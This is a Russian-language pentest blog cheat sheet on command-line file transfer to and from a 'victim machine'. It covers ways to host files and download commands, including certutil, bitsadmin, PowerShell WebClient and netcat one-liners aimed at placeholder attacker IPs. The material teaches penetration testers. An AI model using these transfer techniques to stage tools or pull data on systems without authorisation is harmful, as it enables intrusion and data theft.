Skip to main content

Command Palette

Search for a command to run...

CLI File Transfer

Updated
3 min read
CLI File Transfer
S

Professional pentester, technical writer, telegram channel owner

Для чего нужно?

При выполнении шагов перебора в ходе пентеста часто возникает необходимость передачи файлов на машину жертвы или с нее, например, для запуска пользовательских сценариев или дальнейшего анализа файлов на своей машине.

Существуют различные техники и инструменты, которые можно использовать для передачи файлов, и в зависимости от целевой операционной системы и установленного программного обеспечения они могут работать или не работать. Цель этой шпаргалки - предоставить исчерпывающий ресурс по передаче файлов с помощью интерфейсов командной строки.

Раздача файлов

Файлы можно размещать с помощью таких методов, как веб-серверы, FTP, SMB и т.д. В приведенной ниже шпаргалке представлены некоторые из наиболее распространенных методов, которые можно использовать для размещения файлов:

Python HTTP Server

python3 -m http.server [PORT]

Apache

# требуется поместить файлы в /var/www/html/
service apache2 start; systemctl start apache2;

Nginx

# требуется поместить файлы в /usr/share/nginx/html  или /var/www/html
service nginx start; systemctl start nginx

PHP server

php -S 0.0.0.0:[PORT]

Netcat

nc -nv IP [PORT] < file

smbserver.py by Impacket

impacket-smbserver share [share_dir]

Linux Samba

# раздачу надо добавить в /etc/samba/smb.conf
service smbd start; systemctl start smbd

FTP

# Для настройки FTP-серверов можно использовать такие службы, как pure-ftpd и proftpd
service pure-ftpd start; systemctl start pure-ftpd; service proftpd start; systemctl start proftpd
# atftpd позвляет легко настроить TFTP сервер
atftpd –daemon –port [PORT] ftp_dir

Web brick Ruby

ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => PORT, :DocumentRoot => Dir.pwd).start'

Ruby http server

ruby -run -e httpd . -p [PORT]

Perl Brick HTTP сервер

cpan HTTP::Server::Brick;
perl -MHTTP::Server::Brick -e ‘$s=HTTP::Server::Brick->new(port=>PORT); $s->mount(“/”=>{path=>”.”}); $s->start’

Microsoftg IIS Express

"C:\Program Files (x86)\IIS Express\iisexpress.exe" /path:C: /port:[PORT]

Получение файлов

Файлы можно загружать с помощью различных инструментов, таких как wget/curl FTP, SMB и т.д. В приведенной ниже шпаргалке представлены некоторые из наиболее распространенных методов, которые можно использовать для размещения файлов:

Wget

wget http://[IP]:[PORT]/file -o output_file

Curl

curl http://[IP]:[PORT]/file -o output_file

Certutil

certutil -urlcache -split -f "http://[IP]:[PORT]/file" output_file

Invoke-WebRequest

powershell -c Invoke-WebRequest -Uri http://[IP]:[port]/file -OutFile output_file;

System.Net.WebClient

powershell -c (New-Object Net.WebClient).DownloadFile('http://[IP]:[PORT]/file', 'output_file')

Bitsadmin

bitsadmin /transfer job /download /priority high http://[IP]/file output_file

Netcat

nc -q 0 -lvp [PORT] > file

SMB copy command

copy \[IP]\SHARE\output_file

smbget

smbget smb://[domain];[user]:[password]@[server]/share/path/file

SCP

scp /path/file [username]@[IP]:/path/file
scp [username]@[IP_1]:/path/file [username]@[IP_2]:/path/file
scp [username]@[IP]:/path/file /path/file

PHP func file_put_contents

php -r "file_put_contents('output_file', fopen('http://[IP]:[PORT]/file', 'r'));”

Python func urlretrieve from urllib

python -c 'from urllib import urlretrieve; urlretrieve("http://[IP]:[PORT]/file", "output_file")';
python3 -c 'from urllib.request import urlretrieve; urlretrieve("http://[IP]:[PORT]/file", "output_file")'

Perl lib WWW

perl -MLWP::Simple -e 'getstore("http://[IP]/file", "out_file")';
perl -e 'use LWP::Simple; getstore("http://[IP]/file", "out_file")'

Ruby lib Open-URI

ruby -e 'require "open-uri"; File.open("output_file", "wb") do |file|; URI.open("http://[IP]:[PORT]/file").read; end'

More from this blog

Инъекция XSS в скрытых полях ввода и мета-тегах

​Введение​ В этом посте автор покажет, как вы можете использовать новую функцию всплывающих окон HTML в Chrome для эксплуатации XSS в мета-тегах и скрытых полях ввода. Все началось, когда я заметил новое поведение всплывающих окон в Chrome на Twitter...

Jul 13, 20233 min read178
Инъекция XSS в скрытых полях ввода и мета-тегах

Zybnev Sergey | Pentester | Blog

19 posts

Professional pentester, programmer and web designer.